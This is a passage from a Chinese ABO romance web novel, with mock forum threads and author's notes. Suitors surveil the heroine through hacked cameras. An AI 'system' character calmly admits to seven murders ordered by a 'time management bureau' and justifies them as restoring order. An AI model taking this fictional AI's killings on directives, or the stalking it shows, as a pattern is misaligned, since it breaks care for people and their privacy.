猎物主动把自己当成盘中之餐向冷酷的猎手恭敬奉上,而唯一所求的就是在此之前一出繁衍后代延续生命的本能。
她的头颅微微转动,歪歪贴近肩部,淡漠的眼珠滑动,盯住周边唯一一个活物。
心甘情愿奉上己身,若是能被称赞一声美味,该是多么幸福啊。
主动落入猎手威慑的范围,眼中流淌出忠诚的誓言,那是绝对不会逃跑的印记。
瞳孔兴奋地收缩,身体激动到战栗。
“你——”
她的声音犹如远方的钟声神圣而悠扬,目光放在他的面上,像是意识到什么停住了言语,浅粉色的唇有向上扬起的趋势。
螳螂在世间生存了万万年,生命的韧劲奇迹与性食同类的残忍冷酷完美地贴合混杂于一起,典雅优美的外表下是繁衍与进食的本能。
请一直、一直注视我吧!
请爱上我吧!
请吃掉我吧!
如果能永恒地与你在一起,那该是多么幸福啊。请让我完成血脉暗藏的使命吧。
唇齿交接,呼吸相缠。
黏腻的水液晃荡的声音,咬磨着微鼓的唇瓣,高挺的鼻尖陷进雪白的腮肉中。
在烈阳难入之地,流淌的涎水与青白的尖牙一同闪着森森的冷光。
……
当摄影师满心欢喜迫不及待地赶到时,他第一眼看到的是那位梦寐以求的女人齿间的猩红——
作者有话说:第一句话引用自《黑猫警长》
在为隔壁那本搜资料时突然来了灵感,螳螂别名“修女袍”,双手常举在胸前,状似虔诚的修女。
性食同类,喜好生食。
*隐喻譬喻手法(高亮)非现实性描述
第88章 左A右O,齐人之福
【所以你们就这样狼狈离开了?】另一头的友人恨铁不成钢【现在论坛上都在等亲历者们的回应呢!】
他们也想反抗,他们也想挣扎啊,可是都被当成奇怪的人了,时机选得属实不太妙,因为敲门之前只当是为了见她一面,而并未仔细思索她家里藏了人这一可怕的可能啊!
不齐的人心由于敌人的到来而被迫凝聚了起来,代表者嘴角扬起一个死死的弧度,统一了说法。
“我们是你的邻居,由于暴风雨的原因,正巧我们几户发现家里突然断电了,担心是这栋楼出了问题,于是出来看看,顺便也帮忙检查一下各家的阳台门窗是否牢固。”
猜错了,不是推销。
“我家里没有停电。”我偏头瞥了眼,“窗户也关好了。”
“谢谢你们专门来跑一趟。”
听出了委婉的逐客令,他们心不甘情不愿地盯了眼站在屋内她身边的一A一O,边和善地笑着边说没关系转身离开。
【你们就不会找个理由进去吗?】
【分清主次重点!那是要脸的时候吗?】
【换了我,就算死皮赖脸,我不进去,那两个见皮子也别想安安生生呆在屋里!】
手指敲打的快冒出火星子了,那人只恨自己当时不在场。
【你不懂!】不在场的人根本就无法明白当时那个场面。
由于思想的单纯,他们完全忽略了敌人的险恶。
就像是开开心心去皇宫里见公主的骑士,一打开门发现金碧辉煌的宫殿变成了恶龙的老巢,而她已经把恶龙当成了同伴。这带给他们带冲击,哪里是未曾亲历的人能够想象的。
而且、而且,最关键的是,他们满心欢喜去见的那个人,梦寐以求的那个人,似乎把他们当成了坏人。
面对他们时,眼底是防备和警惕,交谈时,甚至不止一次看向屋内人,那是类似亲近求助的眼神……
【我们已经毁掉了她对我们的第一印象】由于开场失利。
这种情况下,最要做到的难道不是及时止损吗?
想起她对他的防备,和对那两个人的亲近,他心里难过得脑袋都要耷拉起来,但身体仍分出精力来分析出有利的一方面,聊以慰藉。
【就算给他们占一点优势又如何呢?那个Alpha太老,一看就不像我们同龄人那样有共同话题,都快跟她差辈儿了!而那个omega,叶曦,我怀疑他都已经不算是一个Omega了,残疾人能配得上她吗?要是有点自尊心就应该选择放弃,而不是拖累她给她丢脸!】
此时他愤慨激昂,宛若愤青上身,恨不得用尽世界上一切恶毒词汇来攻击诬陷仇敌。
【你知道你现在像什么吗?】友人同情之余又不免鄙夷。
【一条无能狂怒的败犬】友人一言以蔽之。
【这些话你当时不骂,现在说又有什么用?】
什么用?友人无智!收到友人发来的消息,他不禁冷笑。
当面喝骂那多没有风度,这么做不是让自己的印象分在她心中进一步减少了吗?!他一直以来努力维持的形象可是绅士呢!
【我就爱背后骂人,你管得着吗?】
绅士冰冷回应。
丝珮叶学院内部论坛此时早已经闹翻了天。
有求神拜佛的【今早上了三根香,势头均匀,解香平安,中午又上三根香,中短两长,祥瑞之兆,三日之内必有好事发生】
(此贴因涉及封建迷信已被删帖,发帖人禁言二十四小时)
有作法的【假假假假假假假假假假你们根本不熟对不对呼啦啦(开坛!)(跨火盆)咻咻咻(丢柚子叶)(旋转)(围炉转圈)(摇铃)哗啦啦(甩旗子)急急如令令——真的就变成假的,假的就一定是假的!】
(此贴因涉及封建迷信已被删帖,发帖人禁言二十四小时)
有病急乱投医的【我担心的那件事一定没有发生对不对,塔罗女神会告诉我答案】
(此贴因涉及封建迷信已被删帖,发帖人禁言二十四小时)
还有被众人围攻的疑似乐子人发帖,有人希望这是看热闹不嫌事大的人故意发的引战贴,不然如果真是这么想的那可就太可怕了。
【这个时候我们就不得不说了,左一个清纯漂亮omega,右一个英俊帅气alpha,卿卿真是坐享齐人之福啊![祝福]】(hot)
1L
ForeverLove:我将是一夫一妻制的忠实信徒。
2L:?你证件照难道拍得很好看吗?
3L:演的吧。
4L:伪人滚出
5L:给我干哪儿来了,还是中文吗?
6L:身份证找不到就去补办,不要麻烦网友。
……
12L
ForeverLove:不是啊,你们仔细想想,外面一个,家里一个,外面有一个遮风挡雨的人,家里有一个知冷知热的人……翻看论坛帖子好久,竟然没有一个说到重点上的,真让我失望啊,还以为能遇到同好呢,只要看见她幸福就够了,而令她幸福的是不是自己有那么重要吗?如果为此破防,只能说明你们只在意自己,别标榜爱了,侮辱了爱这个字。
13L:
ForeverLove:爱是无私的,真正的爱应该是因爱的人收获幸福而你也会感到幸福,你们的爱太过自私,太过狭隘了,拿不出手。[捂嘴笑]
14L:她在你耳边告诉你她幸福了?
15L:叶x上大号说话。
16L:我曾经以为那群梦男梦女才是最颠的,现在看来另有其人。
17L:这个世界的包容性实在太强了
18L:身上痒了想挨打直说,又不是不能满足你
19L:也不知道该说一声封建还是开放。
20L:我去,不早说,原来这样子就会幸福吗?[痴傻]
21:梦女梦男党就算了,怎么还有后宫党?
……
30L:还差个beta性别就齐全了。
31L:有臆想症就去治
32L:网友虽不是你的爹娘,但你报个位置,本人不介意今天帮你重塑世界观。
33L:真是小刀拉屁股,开了眼了
……
56L:老师,那我们家beta也想加入,该怎么办啊
(此贴被多人举报,已删帖,发帖人禁言七十二个小时)——
作者有话说::小主子,您可真有福气
第89章 “这个人早已经死了”
“监控画面显示,自叶曦上门开始,整整两个小时,那两人现在还没有出来。”
白洛翊对电话那头说。
自他一时不慎被姜念屿那个疯子暗算,以Alpha的体质都在病床上整整躺了一个月后,他就深刻认识到凭自己现今一个人的力量根本不可能在丝珮叶取得优胜,于是他果断康复后跟自己家人申请去外面学习训练,并寻找到了一个合作伙伴。
他最初是想卖惨并且在她跟前揭穿姜念屿的真面目,尽可能抹黑他的。
可很快他就被合作伙伴说服了。
“你作为Alpha,被一个柔柔弱弱的Omega暗算成功难道很光荣吗?这不过再一次在她面前佐证了你的无能罢了。”
合作者是一个Beta。曾经Beta在他眼中是平庸平凡的代名词,以最多的人数遍布于社会的中下层阶级。
白洛翊出身于上层普遍的AO结合家庭,他没有意识到过去是如何的傲慢自大,从不将Beta放入眼中。
观念的扭转在一个普通的日子,一次普通的考试,他在那样一个普通的时刻里遇见了足以扭转他一生的人。
推翻他根生蒂固的偏见,打破他牢不可摧的傲慢。
一个Alpha的命定伴侣难道不是Omega吗?一见钟情难道不是拥有信息素之人的特权吗?
满心欢喜以为自己会像父亲一样在年少时就遇见一见钟情的真爱Omega伴侣,结果到头来竟是一个Beta——他连喜欢的人的性别都认错了!
一定是错觉!我怎么可能会喜欢上一个Beta呢?
他满腔愤怒与委屈地删除了论坛上的寻人贴,第二天干脆没去学校,他去了医院做了半天性取向测试、心理异常测试等等十八个测验,开学考因心绪不宁少写的题目今天以另一种形式回到了他的笔下。
母亲因担忧而特意陪伴着他,她端坐在一旁,几个小时里婉拒了好几个邀约,用疑惑的眼神注视他。
“我没事,妈妈你不用陪我。”
他边奋笔疾书,边证明自己的毫无异常。
“陈家晚上的舞会您得准备了,下午张老师的品香会您不是早在一星期前就答应她会去吗?您不用管我。”
父母年少结缘,谈恋爱、订婚、结婚、生子,每一步都走的踏实而幸福,广受祝福,婚姻二十载,至今和和美美,相亲相爱。
如果不是在爱里长大,他又怎么会如此向往爱情与婚姻呢?
可现在美好的想象似乎要离他远去了。
他把测试提交,紧张的心在期待自己生病与证明自己无恙中来回摇摆。
“一定会没事的。”母亲看出他的紧张,走到他身边。
“不!”他险些叫起来。
他要有事!只要证实了自己的心理和精神都处于病中,那么才能说明一切爱情的漩涡不过是病魔造成的假象。
母亲惊愕睁大眼,她的眼神告诉他,显然她怀疑他是不是发了烧。
母亲经历的唯一一段恋爱就是正常的恋爱,她与爱人连一次脸红争吵都从未有过,她的生活被各种美好的事物填满,从未有过空虚。
白洛翊不知怀着怎样的心理,他并不想把自己的烦恼告诉她。
他沉默了一下,等待报告结果的空余,他向母亲抱歉,接着垂下眼请求母亲离开。
“或许,我以后会告诉你的,但现在,我很、我很——”
红光一闪,检测结果出来了,他一把抽出,没管凑到身边偷偷瞄结果的母亲,一下翻到结果那一页。
【您的检测报告显示——一切正常】
“太好了。”母亲放松地坐在椅子上,并示意身边的助理把她等会的造型设计时间安排好。
“哎,这孩子,也不说,吓得我还以为怎么……洛翊!”
白洛翊头晕眼花,天旋地转,横看竖看都是那几个字,堪称世界观的崩塌,一下子没站稳倒了下去,坚硬的机器撞到了脑袋。
磕破了头皮,流出了鲜血,血液涌流中,他对前来扶他的母亲喃喃道:“妈妈,我、我是正常的。”
“正常,正常。”母亲嘴里依着他的话说,心底却十分怀疑他中邪了,送他治疗伤口后直接给父亲打了个电话,要他赶快过来。
“你儿子疯了!”她夸大其词,“昨天回来后就不对劲,傻笑个不停,晚上在房间里又哭又吼,今天早上饭都没怎么吃就急急忙忙赶到医院,做、做什么——”
她看向旁边助理,助理小声提醒:“心理与精神测试与分析十八项。”
母亲总结:“——十八次精神病测试。”
私人飞机停驻在医院顶楼,父亲不到一小时从海外飞回。
他安抚妻子的情绪,又看了看病房里盯着天花板发呆的儿子,十分镇定地说:“他是一个Alpha,自己会调理好自己的。”
母亲蹙眉不语。
父亲问旁边的助理:“心理医生怎么说?”
“少爷不愿意找心理医生。”
父亲不认
为一点小事就要小题大做,况且检测单上不是说了没多大事吗?青春期的孩子总是多愁善感、思绪万千,Alpha看来也不能成为例外。
“——我喜欢上了一个Beta。”
他不知是因为父亲要把他送去军队的威胁还是担忧去了再也见不到那个人,最终还是把话说出了口。
父亲反应很冷漠,只是点点头,表示自己听到了。
母亲倒是反应颇大。
“是谁?我见过吗?多大了?是你同学吗?男的女的?喜欢多久了……”
面对一系列兴致冲冲的提问,白洛翊显得尤为困惑不解。
“她是Beta,你们、你们难道不反对吗?”
父亲冷笑,他对这个摔跟头把头摔破的儿子很无语:“你先追到再说吧。”
母亲把泼冷水的父亲扯到一边,仍然兴致勃勃,又带点责备:“哎呀,都什么年代了,你喜欢就行……”
她继续追问,眼里都放着八卦的光。
原来,原来,只有他一个人认为这是天大的事情,只有他觉得喜欢上Beta不亚于恐龙复苏……
白洛翊陷入深深的沉思与自责。
原来他才是思想封建的一个。
观念发生转变,在他的心中,那个特殊的人在beta这个性别上脱颖而出,不再是一个简单的性别符号。
可是之后选择一个beta当合作伙伴,不仍旧证明白洛翊潜意识里认为Beta就是缺少竞争力吗?
俗世的性别分类不能把她收入一个标签化的框架里,可其他beta却并不能享受这个特权。
白洛翊入侵系统后传送来的监控画面,整整有数十个,电梯、楼梯间、花园……
“他们还要在她家待多久?不会晚上直接住下吧?”
他死死盯着监控画面,期盼着能看到那两个人走出的身影。
“太奇怪了,他们到底用了什么借口蒙骗她……”他近乎喃喃道。
确实是一件奇怪的事情。以她的性子看,怎么着也不会让半生不熟的人进入到自己的领地,还让别人待这么久。
要说被蒙骗的话,叶曦凭借脖子上的伤口卖卖惨还有可能,但那个Alpha,她应该会委婉下逐客令吧。
原亦可在发现叶曦和萧探尘接连进入她家后,原本是做了两手打算的,第一手是随手落的棋,让一队人敲门探探路,如果那群人里有聪明人的话,就应该在敲门后不动声色的或骗又诱让那两个人不得不出来,可惜,在里面找到一个还算聪明的人,就像大海捞针一样无处可寻。
那个Alpha应该是被她通知而来的,要不然他想不到还有第二种可能,在叶曦上门不久后,萧探尘就火急火燎地赶到他的家。
而不管是她让他过来还是萧探尘自己不放心她家里仍有叶曦在,最终指向的结果都是他们两个会短时间内一同离开她的家。
这么长时间,那两个人还未离开,真是一件怪异的事情。
所以是什么突发情况的出现,而导致他推断的失误和他们行为的异常呢?
足足占据半面墙的屏幕上分出十几个分屏,明明灭灭的光,在原亦可面无表情的脸上闪烁着。
他向来习惯把事态的发展掌握在手中,如今在她的事情上出现意外,他现在就像他当初听到她被亲近之人谋害受伤一样难以忍受。
为何一帆风顺的人生,在遇见她时,总会突起波澜呢?他自生来十几年的岁月里,经历过的所有挫败感都源于同一个人。
监控画面不断变换,从昏暗的楼梯间,到空无一人的电梯,由于这电闪雷鸣的鬼天气,出来走动的人很少,于是原亦可不费吹灰之力就捕捉到一个可疑的身影。
笔直站在雨中,撑着伞,戴着冷帽和口罩,严严密密挡住整张面容,在俯视角度的监控画面下,连一点面部细节都看不到。
如果仅仅是这样装扮的话,或许还称不上可疑,但若是加上此人的行动路线,曾不断接近她家而又在某一个时刻转弯远离,如今更是在这样寒冷的天气学校放假实体店铺都纷纷停业的情况下,仍傻傻站在雨中呢?
这人是谁?
原亦可在自己的脑中按照关键词狠狠过了一遍丝佩叶学院的学生。
“性别男、身高在185到195之间、家境优渥”
还有他站在雨中的身影,怎么看怎么傻。
原亦可停顿了一下问:“白洛翊,你现在在哪儿?”
电话那头传来清晰的疑惑:“在家啊,怎么了?”
没有雨滴声,不是他。
那是谁?虽然看不到那个人的脸,但直觉告诉原亦可这个人他绝对见过。
原亦可紧皱着眉,把那个人从出现在摄像头里开始,从头到尾的监控录像都截取出来。
他走出房门,穿过长廊,打开暗门,走下阶梯,来到地下室。
鱼竹雨正在实验室里面,她穿着白大褂,戴着医用口罩和手套,手里拿着根试管,低垂着头,听到敲门声,动作顿了下。
“姐,我有事找你。”
声音模糊地从门外传来。
“等会儿。”她并不回头,把沾上了新鲜的血迹的手套和把袖口磨损有被灼烧的痕迹的白大褂全都丢掉,再到更衣室处理得干干净净才出来。
她出来时并未戴眼镜,清凌凌的目光直直投向了等待一旁的原亦可。
平时他可是很少找她的,这次是又发生了什么有关于那个人的要紧事?
鱼竹雨接过他递来的东西时已经做好了心理准备。
“你认得出这个人吗?”
屏幕上是一个人今天上午接近完整的轨迹视频画面。
原亦可抛开看了多遍却依旧没有对应上人脸的视频,默不作声地观察着鱼竹雨的神色。
虽然知道她故意隐瞒的可能性很小,但他天性中就带有一丝警惕,即使面对血脉相连的亲人也难以付出完全信任,尤其是在她的事情上。
鱼竹雨的头发长了一下,栗色发丝散在肩头,双瞳跟着画面中的身影轻微的移动,除此之外,神色并无明显的变化。
“这是她家周围的监控画面?”
“对。”原亦可接着补充,“这个人在她家周围转来转去,实在是很可疑。”
视频倍速播放完毕,鱼竹雨掀起眼皮,对上原亦可探究的视线。
她先是无奈的笑了下:“为什么你就认准我见过他呢?”
“……”
原亦可眯了眯眼,等待着她话语之后的转折。
“不过,如果按照身体状态与走路姿势习惯,在印象里,我还真的想到一个与这个人很接近的人。”鱼竹雨弯弯眸,意味深长地说,“只不过,那个人已经死了。”
“你也许还见过他的遗照和尸体。”——
作者有话说:
第90章 她还那么单纯……
雨一直在下。
目送那群奇怪的人离开后,我也十分的想对屋内的人下逐客令。
今天的社交KPI已超额达标,撑得我快吐出来了!
可现在外面的天气很糟糕,叶曦刚动过重大手术脖颈间的伤口还隐隐渗着血,萧探尘警官因担心我而来……所以现在不管怎么样让他们离开都是极为不合适的。
我只能再一次庆幸自己打开电视,屏幕中的声音为这个安静的房间增添几分热闹的气氛,我坐在单人沙发上,怀中抱着一个抱枕,已经被连续社交累的没话说了。
时间一分一秒的过去,萧探尘把喝完的茶放在桌上,杯底与桌面碰撞发出一声轻响,我回过神,他率先向我提出辞别。
他对叶曦说:“顺便我一道送你回去吧。”
这似乎并不是邀请,没有给话语中指向的人留下选择的余地。
在说这句话时,他已经站起身,黑浓的剑眉压着一双狭长
凌厉的眼眸,下俯的眼睫在眼尾落下黑沉沉的阴影,高大的身躯让气势都变得有些骇人。
叶曦并没有答话,而是偏头看向了我,像是被陌生不熟的Alphy萧探尘吓到了一般。
“我跟他家的长辈认识,放心,我会安全把他送到家的。”萧探尘见状对我说。
我没什么好不放心的,但看到叶曦不自然的脸色,以为是因为对陌生Alpha萧探尘生理性的惧怕和担忧引起,于是帮忙说话证明萧探尘人很可信。
“当然,我很放心,认识您这么久,给了我很多很多帮助。”
边点头赞同,我边用余光看叶曦,他双手握着茶杯,飘渺的水雾氤氲了他的面容,让脸颊的笑意变得不分明起来。
怎么感觉……这句话起了反作用?
我忽视掉心底的心虚,因为主动宽慰叶曦并不是真心为了安慰他,而是担忧他不跟着萧探尘离开,继续留在这里。
今日份的社交能量快耗尽了,以往在外面耗尽了能量,还能在家中补足,可现在家里成了耗费能量的地点,让我感到天地错位的不适感。
盼望客人离开,并不是指我讨厌他们,这仅仅是如同动物界驱逐抵制旁人久久驻留在自己领地的习性作祟。
我言语中对萧探尘的全然信任,已经被叶曦成功接收到,他站了起来,然后像是突然想到一般。
“对了,卿卿,这件衣服……”有旁人在,他低了低眼眸,脸颊上浮起几分血色,“我会洗干净,返校后还给你。”
萧探尘听到这话,扫了他身上的衣服一眼,又看向我。
我才想起这件事,随口道:“一件衣服而已,你想怎么处置怎么处置吧。”
丢了就丢了,反正我也不穿。没必要对一件衣服那么重视。
我的心渐渐放松,终于要走了,家里终于只有我一个人在了。
等会儿是先吃中饭再午睡还是直接睡觉呢,现在外面的情况好像很难点到外卖吧,要不然等会儿自己煮泡面吃……
我看着他们一步一步接近门口,脑子里正胡思乱想着,心脏像是率先察觉到突然间白花花的电光一般停滞一瞬,轰隆雷声震耳欲聋,瓢泼大雨乌啦啦的从天而降。
——“小姐,好久不见,我回来了。”
大自然声响几乎要盖过突然出现的温润男声。
嗯?!谁在说话?我幻听了?
我下意识看屋内另外两人,叶曦跟萧探尘不知在低声交谈什么。
很快第二句话证实了这不是大脑造出来的假象,这声音是如此的熟悉,又是如此的可恨。
“我快到家门口了。”
【系、系统?】
【小姐,我有名字,叫凌吾】他一板一眼地纠正道。
这种事情谁在意呀!
等等?!他真回来了?还是用从前的人身回来的?不是大哥!这也太突然了!
我不敢想象,萧探尘一出门撞见一张曾经被他亲手射杀的罪犯的脸会是什么反应。
刚刚松弛下来的身体,陡然间紧绷起来,心脏激烈的要跳出胸腔,我眼睁睁的看到,萧探尘已经握上了门把手。
“等等!”
大脑还未转过弯来,我的身体先做出了反应,疾步向前,伸手握住那只充满力量感的、因施力而显露出青筋的手。
紧紧抓住,担忧他在我无意间开门,直面撞见系统05。由于内心的紧张和慌乱,当下,他指腹的硬茧和皮肤粗粝的触感并未及时的传递到我的脑海,我忘了放手。
我曾当过证人,亲身面对过他的调查询问,那时中间好歹隔着一张桌子,而现在我和他的胸前隔着不到一个拳头的距离。
直面对上凌厉的眉眼,感受那迫人的气势,压迫感陡然翻了好几倍。我连躲避似的移开眼都忘了,在他跟前愣神说不出话。
毕竟我现在的行为等同是在警官面前包庇一个罪犯,当面在他面前犯下了罪行。
【小姐?我不可以进来吗?】
对,不可以,你快滚!
系统的声音把我拉回了现实,我立马伪装出了以往的平静与沉稳。
“要不先坐一会儿等雨小点了再走吧,下这么大雨,开车不安全。”
“叶曦,你也是,这么大雨再坐一会儿吧,你的伤口沾水发炎了怎么办呀?”
求求你们别问我之前为什么不说,快走了才挽留。
我近乎推着他们两个再回到沙发。
等他们远离门口后,我才有力气跟系统说话。
【系统,你现在赶快远离我家。】
【好的,小姐,我遵循您的要求,但是我叫凌吾。】
我不懂,这种称呼对一个人工智能来说,有什么可计较的。但以当下这种紧急的状况,我决定先满足他的需求。
【好的,凌吾,不管怎么样,你离我家远点,先别问为什么,等我说可以了,你再过来。】
笨蛋系统答应了,我松了口气。
想了想又嘱咐他【你躲着点,别撞见人】
别有人认出这臭系统那张脸呢?依稀记得他在死前曾被通缉,照片在网上公布过。
我收到顺从的回应后,紧张不安的心才慢慢安定下来,没注意到在此期间叶曦和萧探尘几次三番探向我的视线。
*
她在害怕吗?还是在担心什么呢?
萧探尘想起,不久前那群说话颠三倒四、前后不一、行为可疑的年轻人。
一个年轻的女孩独居确实很不安全。如果有坏人特意上门蹲点,哄骗敲响了他的家门,发生了什么可怕的事故,可是后悔莫及的。
他想起几个月前那场触目惊心的事件,黑色的夜里,她吓得惨白的肌肤与脸颊上鲜红的血液。
自从业以来经历过成百上千桩案件,没有一个受害者让他这样心神不宁。
是因为在事发前,受害者曾向他求助,而他并未在凶手对她实施犯罪行为前及时赶到吗?是因为她如此年轻,却如此不幸的遭遇了被亲近之人伤害背叛的痛苦吗?
无论如何,不可否认的是,他对她帮助与保护的欲望越来越迫切了。
这个世界每三分钟发生一场枪击案,数月前的一场无差别杀人案死伤数百人还未传到大洋彼岸,人口失踪更是常事,甚至延伸了一条波及数百个国家的产业链。
她一个人生活在这里该多么危险啊。
萧探尘读书期间曾辅修过心理学。
他能感觉到自己的状态不太正常,心理状况直接影响了行为模式。
在没有获得更亲近更重要的身份前,他或许不应该未经允许的入侵他人的界限,不该产生强烈的保护欲望与侵占欲望,不应该妄想成为别人的救世主。
可是、可是……
她还那么年轻,她还不够成熟,她还不能清晰的明辨世界上的善与恶。
如果有坏人,特意接近她怎么办?如果再次发生上回那场事故该怎么办?如果今天早上他未及时收到消息,进门的不是叶曦,而是一个恶人,或者叶曦就本就怀有肮脏丑恶的心思该怎么办?
太可怕了。
他那双擅长一击毙命夺取罪犯性命的手竟因想象轻微颤抖了一下。
大脑中一边冷静的思考,果然他最近的精神状态确实出了点问题,一边已做下决定,买一套离她更近的房子,最好就在同一栋楼,她房子的上层或下层。
还有叶曦,那个故意靠近她,坐在沙发上,有着一张好皮囊的Omega。
离家出走,做完腺体切割手术后,往同学家里跑像什么话?据他所知,他与她之间关系应该不算非常亲密吧。
他正不动声色的靠近她,手指触到了她的衣袖,眼珠转动,脸颊偏动一点幅度,毫不掩饰他正为诱引她做出的一些努力。
年纪轻轻就会这么多花枝招展的招数吗?
萧探尘看在眼里,心中不免生出鄙夷与轻视。
他因为自家子侄在丝珮叶学院读书,所以不免关注到了那个学院里的事情。
以这个Omega糟糕的精神状态,很有可能毫无前兆的做出攻击性的行为,他在脑中把此人列为危险人物,绝对不会放任叶曦与她单独处在一间房里。
绝对不会!
所以即使他并不喜此人,还是在离开前,主动邀请把那人带离此地。
随着叶曦靠近她的动作,纯棉布料擦过她的身体……衣服,还有那件衣服。
她不该就这么把自己的衣服随意给别人的,她年纪尚浅,心思单纯,怎么会知道别人会拿来做什么呢?——
作者有话说:给的是没穿过的新衣服【】
90-100
第91章 “那,主人?”
大概是心诚则灵的缘故,在我挽留他们不久后,雨慢慢停了下来。
告别前,萧探尘特意避开叶曦,跟我悄声说:“你以后最好不要把自己的衣服随便给别人。”
嗯?
“你不知道他们会用来做什么……事情。”
做什么?把换下的衣服当抹布吗?
我对上他郑重其事的眼神,虽心中不解,但仍默默点头满口答应。
“好的,再见。”
在他们离开半小时后,我才通知系统上来。
门一打开,一个长身玉立的成熟男人站在门外。
身上有被雨水打湿的痕迹,手里拿着一把黑伞,他带着深灰色的冷帽,乌黑的碎发下是一双狭长深邃的眼睛,高挺的鼻梁撑起黑色口罩。
他穿的衣服非常讲究,看起来很有质感,敞开的深黑色的过膝毛呢大衣,自带垂坠感,内搭是西装马甲和尖领衬衫,同色系西装裤、皮鞋,像是在拍杂志封面。
帅哥潮男你谁?
这机器人什么时候这么会穿搭了?以前不管冷热都只穿基础西装,丝毫没有其他搭配的。
“凌吾?”
“是我,小姐。”
我错身,让他进来。
他走进来,把口罩摘下,露出一张和以往六分像的脸,温润儒雅,不说话时像一个文人教授,以人工智能的知识量,说是教授也蛮符合贴切的。
你要早说你变了个样子,我还要你躲着人干嘛?
我无语地盯着他瞧,他之前难道没感觉到一丝不对吗?我要他躲他就躲,什么都不问,都换了一张脸了,他躲谁呢?!
“好看吗?”
我的视线不知引起了什么误会,系统毫无人类的羞耻心,自然地开口道。
“……”
啊?什么时候人工智能还在乎美丑了?
系统平静无波的解释:“我现在的皮囊经过大数据模拟,通过成百上千万种组合,从中挑选符合年轻女性审美的男性面容,并且融合了我过往使用过的一张皮囊。”
这么复杂?那确实是一张很高大上、高深莫测的脸。
“所以,你觉得好看吗?”他仍然等待着我的回答。
“挺好看的。”好看好看,你全天下第一好看。
这年头连人工智能也服美役吗?
他的眼珠盯着我的表情,像是在确认我说的是否为实话。
“我挑选了很久,谢谢您的夸奖,小姐。”
这么重视自己的外表吗?服美役的风已经卷到了硅基生物。
那如果我说一句不好看,他是不是立马就要去整形重塑身体呢?硅基生物的审美为什么要和人类同频呢?
我的视线划过他的面庞,浓眉、深瞳、挺鼻……等等?
他的眼尾竟有一颗淡淡的痣,随着眨眼的动作若隐若现,并不明显,但是真的有,像是被特意加点上去的。
我睁大眼睛,定睛一瞧,确实是痣,我没眼花。
系统他自己造的身体,特意点一颗痣在脸上干嘛?他是从网上的流行审美上看到的吗?
「绿色青蛙大叫表情包!」
系统注意到了我的目光,手指轻点在那里,又问:“好看吗?”
“……”
你脑有疾否?
我的人工智能到底在网络上乱吃了什么东西,被喂了什么坏数据?看起来有点不清醒的样子。
我不是一个喜欢打击别人的人,说话委婉是常态,沉默了一下,说:“还好。”
虽不理解,但接受,只是忍了又忍,我实在好奇,问:“你为什么要点一颗痣在脸上啊?”
“这是桃花痣。” ???
什么鬼?桃花?你一个人工智能要什么桃花?系统还分男系统女系统,公系统母系统,雄系统雌系统吗?
我一下子说不出话,沉默下来。
一想到人工智能在重塑自己身体时,还要对着那种封建迷信的命理相面书左看右看,小心翼翼的把那颗痣对准自己的脸就好好笑。
我抿住笑,没准人家信这个呢,当面嘲笑人家的信仰也太不礼貌了,即使是一个人工智能也是有信仰的啊。
聊着聊着感觉跟系统05许久未见的生疏感减轻了不少。
我提起正事,问起与上回事故有关的问题。
“警察说你犯下了至少五起案件是真的吗?”我没有直接说他是杀人犯,心里对此存在着希冀,虽然这些日子对回家的欲望已经减弱了,但他的到来不禁让我产生了一丝希望。
“是真的,一共七次。”
系统出乎意料的坦诚。
“为什么?”那就出现了七个受害人,七具尸体,我的面前确确实实坐着一个连环杀人案的凶手,我咽咽口水,有些慌乱了。
“请放心,小姐,我很正常,我并非为了寻仇泄愤,也不是一个愉悦犯。做出这些行为,不过是为了让这个社会回归正常的秩序。”
我听的迷糊,让他说清楚一些。
“那些人并不属于这个世界,他们或意外或主动的来到ABO世界,他们宣扬自己从前世界知识或价值观的行为,或多或少对这个世界产生了影响,致使社会产生偏移。所以为了让这个世界正常运转,在世界意识与时空管理局的统一规划与安排下,我做出了这个世界人认为的残忍行径。”
“那些人——跟我一样?”跟我一样是不属于这个世界的人。
我盯着他,在他避重就轻的话语下,问出了对我来说最为关键的问题,这个问题的答案已经明了,我需要的只是再一次确认。
“是的,小姐。”他迟疑了一下才开口。
“你们为什么不把那些人送回原来的世界呢?”这个问题太傻了,不就因为不可能回去了吗?
“你为什么不把我跟那些人一样处理掉呢?”
“我的价值观也不同于这个世界,即使是再渺小不过的存在,我的所作所为也会在一定程度上影响整个世界的发展。”
“你应该把我一同杀掉才对,我是这个世界的异类,放过我对你来说难道有什么好处吗?”
在开口逼问之前,明明已经笃定了,系统不会像对待那些人一样处理掉我,可是还是忍不住说出那些伤害自己、也伤害对方情感的话语。
在这个时候,对方是一个没有情感的人工智能,绝对算一件好事,这意味着他不会被我情绪控制之下,脱口而出的一些话所伤害。
在之前系统凌吾做出类似追杀我的行为后,我回到家中发现了一封他提前写给我的信件。
他在信封中写道,那天他的行为会变得奇怪不对劲,甚至看上去不受控制。但他请我再三相信【所有伤害您的行为都非出自我的本愿,我会扭曲代码的指令,来为您谋得逃出生天的机会】
【请您放心,在此之前,我已将不会伤害你此最高命令计入底层代码之中】
或许系统在与我的相处中已经产生了一种习惯,就像鱼儿生活在水里,人类生活在空气中,他也许在那几个月的相处中习惯了在我身边,所以才难以下手。
不知道为什么,明明此前早就有所猜测的东西,经过系统亲口说出,就变得难以忍受起来,说难过厌恶还算不上,可情绪就是一下子降落了,低低的提不起劲。
“我不会这么做。”
系统拥有了人的外壳,但无法立即产生独属于人的细腻感情,他说不出宽慰的动人言语,连解释安抚都算不上,他说出的是一句客观事实。
“我不会这么做。”
像是卡了一下,他重复一遍。
掀起眼皮,露出人类的深褐色的眼珠,那双眼珠直直看向我。
“我不会伤害你的,小姐。”
“……”
真是奇怪,在那一瞬间,伴随着他言语间的真挚,面对这个外壳是人类,里面是人工智能的家伙,我竟通过他仿真的眼珠,感受到里面铺天盖地的情感。
但也仅仅只有一瞬。
他收回目光,呼吸平稳,眼睛眨动的频率都像是被写进了程序里,他坐在沙发上,身体的姿态就像模拟专家所建议的最健康的坐姿,没有普通人经年累月、习惯性的小动作。
我看了一会儿,情绪渐渐平稳,并把系统能够完全通过完全图灵测试的惊疑压下,想起他往自己的脸上特意点上一个“桃花痣”的行为,我就怀疑他可能还没开智。
还有他一直以来对我礼貌古板的称呼,一想到被外人听见,可能导致的尴尬场面,我急忙开口。
“对了,在外面你不要喊我小姐,这样很奇怪。”
“那,主人?”
系统认真地问。
不需要怀疑了,他绝对没开智——
作者有话说:
第92章 “你一个人在家吗?”
“更奇怪了!”
我斩钉截铁地拒绝了他。
